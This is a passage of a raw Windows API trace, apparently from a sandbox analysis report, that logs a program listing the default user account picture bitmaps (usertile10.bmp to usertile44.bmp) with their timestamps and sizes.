ftCreationTime.dwLowDateTime=0xae4b0a44, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4b0a44, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd4482cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile33.bmp", cAlternateFileName="")) returned 1 [0091.837] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4fccfe, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4fccfe, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9c9561, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile34.bmp", cAlternateFileName="")) returned 1 [0091.837] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4fccfe, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4fccfe, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9ef6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile35.bmp", cAlternateFileName="")) returned 1 [0091.837] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae548fb8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae548fb8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9ef6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile36.bmp", cAlternateFileName="")) returned 1 [0091.837] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae595272, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae595272, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddb6c46b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile37.bmp", cAlternateFileName="")) returned 1 [0091.837] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5bb3cf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae5bb3cf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddb6c46b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile38.bmp", cAlternateFileName="")) returned 1 [0091.837] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5e152c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae5e152c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddc2ab41, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile39.bmp", cAlternateFileName="")) returned 1 [0091.837] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae607689, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae607689, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddc50c9f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile40.bmp", cAlternateFileName="")) returned 1 [0091.837] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae62d7e6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae62d7e6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddcc30b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile41.bmp", cAlternateFileName="")) returned 1 [0091.837] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae653943, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae653943, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddce9217, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile42.bmp", cAlternateFileName="")) returned 1 [0091.837] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae653943, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae653943, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd0f375, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile43.bmp", cAlternateFileName="")) returned 1 [0091.837] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae679aa0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae679aa0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd354d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile44.bmp", cAlternateFileName="")) returned 1 [0091.837] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae679aa0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae679aa0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd354d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile44.bmp", cAlternateFileName="")) returned 0 [0091.838] GetLastError () returned 0x12 [0091.838] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0091.838] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.839] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.840] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xda0a8861, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile10.bmp", cAlternateFileName="")) returned 1 [0091.840] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb5a2927, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile11.bmp", cAlternateFileName="")) returned 1 [0091.840] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2755d1, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2755d1, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb6d3417, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile12.bmp", cAlternateFileName="")) returned 1 [0091.840] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae29b72e, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae29b72e, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb76b98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xbeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile13.bmp", cAlternateFileName="")) returned 1 [0091.840] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2e79e8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2e79e8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb82a065, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile14.bmp", cAlternateFileName="")) returned 1 [0091.840] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2e79e8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2e79e8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdbb95fd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile15.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae30db45, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae30db45, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdca9c9ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile16.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae333ca2, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae333ca2, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc3f8f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile17.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae333ca2, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae333ca2, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc65a55, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile18.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae359dff, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae359dff, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc8bbb3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile19.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae37ff5c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae37ff5c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdccb1d11, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile20.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a60b9, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3a60b9, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd069f3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile21.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a60b9, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3a60b9, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd09009d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile22.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3cc216, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3cc216, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd0b61fb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile23.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd232fa7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile24.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd259105, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile25.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd27f263, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile26.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4184d0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4184d0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd2a53c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile27.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae43e62d, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae43e62d, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3177db, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile28.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae43e62d, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae43e62d, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd33d939, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile29.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae46478a, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae46478a, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3fc00f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile30.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae48a8e7, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae48a8e7, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3fc00f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile31.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae48a8e7, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae48a8e7, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd42216d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile32.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4b0a44, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4b0a44, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd4482cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile33.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4fccfe, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4fccfe, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9c9561, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile34.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4fccfe, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4fccfe, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9ef6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile35.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae548fb8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae548fb8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9ef6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile36.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae595272, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae595272, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddb6c46b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile37.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5bb3cf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae5bb3cf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddb6c46b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile38.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5e152c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae5e152c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddc2ab41, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile39.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae607689, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae607689, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddc50c9f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile40.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae62d7e6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae62d7e6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddcc30b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile41.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae653943, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae653943, 